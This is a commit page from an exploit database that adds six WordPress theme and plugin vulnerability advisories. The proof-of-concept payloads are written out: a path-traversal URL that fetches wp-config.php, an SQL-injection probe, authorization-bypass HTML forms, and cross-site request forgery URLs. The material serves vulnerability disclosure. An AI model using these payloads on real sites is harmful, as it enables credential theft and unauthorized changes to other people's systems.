Skip to content

Commit 5f07a69

Browse files
author
Offensive Security
committed
DB: 2016-01-25
6 new exploits
1 parent 73e749c commit 5f07a69

7 files changed

Lines changed: 73 additions & 0 deletions

File tree

‎files.csv‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35539,3 +35539,9 @@ id,file,description,date,author,platform,type,port
3553935539
39296,platforms/php/webapps/39296.txt,"WordPress Urban City Theme 'download.php' Arbitrary File Download Vulnerabilitiy",2014-09-08,"Ashiyane Digital Security Team",php,webapps,0
3554035540
39297,platforms/php/webapps/39297.txt,"WordPress Authentic Theme 'download.php' Arbitrary File Download Vulnerabilitiy",2014-09-08,"Ashiyane Digital Security Team",php,webapps,0
3554135541
39298,platforms/php/webapps/39298.txt,"WordPress Epic Theme 'download.php' Arbitrary File Download Vulnerabilitiy",2014-09-08,"Ashiyane Digital Security Team",php,webapps,0
35542+
39299,platforms/php/webapps/39299.txt,"WordPress Antioch Theme 'download.php' Arbitrary File Download Vulnerabilitiy",2014-09-08,"Ashiyane Digital Security Team",php,webapps,0
35543+
39300,platforms/php/webapps/39300.txt,"WordPress Spider Facebook Plugin 'facebook.php' SQL Injection Vulnerability",2014-09-07,"Claudio Viviani",php,webapps,0
35544+
39301,platforms/php/webapps/39301.html,"WordPress Ninja Forms Plugin Authorization Bypass Vulnerability",2014-09-08,Voxel@Night,php,webapps,0
35545+
39302,platforms/php/webapps/39302.html,"WordPress WP to Twitter Plugin Authorization Bypass Vulnerability",2014-09-08,Voxel@Night,php,webapps,0
35546+
39303,platforms/php/webapps/39303.txt,"WordPress Xhanch My Twitter Plugin Cross Site Request Forgery Vulnerability",2014-09-08,Voxel@Night,php,webapps,0
35547+
39304,platforms/php/webapps/39304.txt,"WordPress W3 Total Cache Plugin 'admin.php' Cross Site Request Forgery Vulnerability",2014-09-08,Voxel@Night,php,webapps,0

‎platforms/php/webapps/39299.txt‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
source: http://www.securityfocus.com/bid/69673/info
2+
3+
Antioch theme for Wordpress is prone to an arbitrary file-download vulnerability.
4+
5+
An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information.
6+
7+
http://www.example.com/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php

‎platforms/php/webapps/39300.txt‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/69675/info
2+
3+
Spider Facebook plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
4+
5+
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
Spider Facebook 1.0.8 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/wordpress/wp-admin/admin.php?page=Spider_Facebook_manage&task=Spider_Facebook_edit&id=1 and 1=2

‎platforms/php/webapps/39301.html‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
source: http://www.securityfocus.com/bid/69740/info
2+
3+
The Ninja Forms Plugin for WordPress is prone to an authorization-bypass vulnerability.
4+
5+
An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions; this may aid in launching further attacks.
6+
7+
Ninja Forms Plugin 2.7.7 is vulnerable; other versions may also be affected.
8+
9+
<html><body>
10+
<form action="http://www.example.com/wordpress/wp-admin/admin-ajax.php" method="POST">
11+
form id: <input name="form_id" value="1"><br>
12+
action: <input name="action" value="ninja_forms_delete_form">
13+
<input type="submit" value="submit">
14+
</form>
15+
</body></html>

‎platforms/php/webapps/39302.html‎

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
source: http://www.securityfocus.com/bid/69741/info
2+
3+
WP to Twitter Plugin for WordPress is prone to an authorization-bypass vulnerability.
4+
5+
An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions; this may aid in launching further attacks.
6+
7+
WP to Twitter 2.9.3 is vulnerable; other versions may also be affected.
8+
9+
<html><body>
10+
<form method="post" action="http://www.example.com/wordpress/wp-admin/admin-ajax.php">
11+
action:<input name="action" value="wpt_tweet"><br>
12+
tweet action:<input name="tweet_action" value="tweet"><br>
13+
tweet text: <input value="" name="tweet_text"><br>
14+
tweet schedule: <input value="undefined+undefined" name="tweet_schedule"><br>
15+
tweet post id: <input value="1" name="tweet_post_id"><br>
16+
<input type="submit" value="Submit">
17+
</form>
18+
</body></html>

‎platforms/php/webapps/39303.txt‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/69744/info
2+
3+
Xhanch My Twitter plugin for WordPress is prone to a cross-site request-forgery vulnerability.
4+
5+
An attacker can exploit the cross-site request forgery issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.
6+
7+
Xhanch My Twitter 2.7.7 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/wordpress/?xmt_Primary_twt_id=508351521810300928

‎platforms/php/webapps/39304.txt‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/69745/info
2+
3+
W3 Total Cache plugin for WordPress is prone to a cross-site request-forgery vulnerability.
4+
5+
An attacker can exploit the cross-site request forgery issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.
6+
7+
W3 Total Cache 0.9.4 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/wordpress/wp-admin/admin.php?page=w3tc_general&w3tc_note=enabled_edge

0 commit comments

Comments
 (0)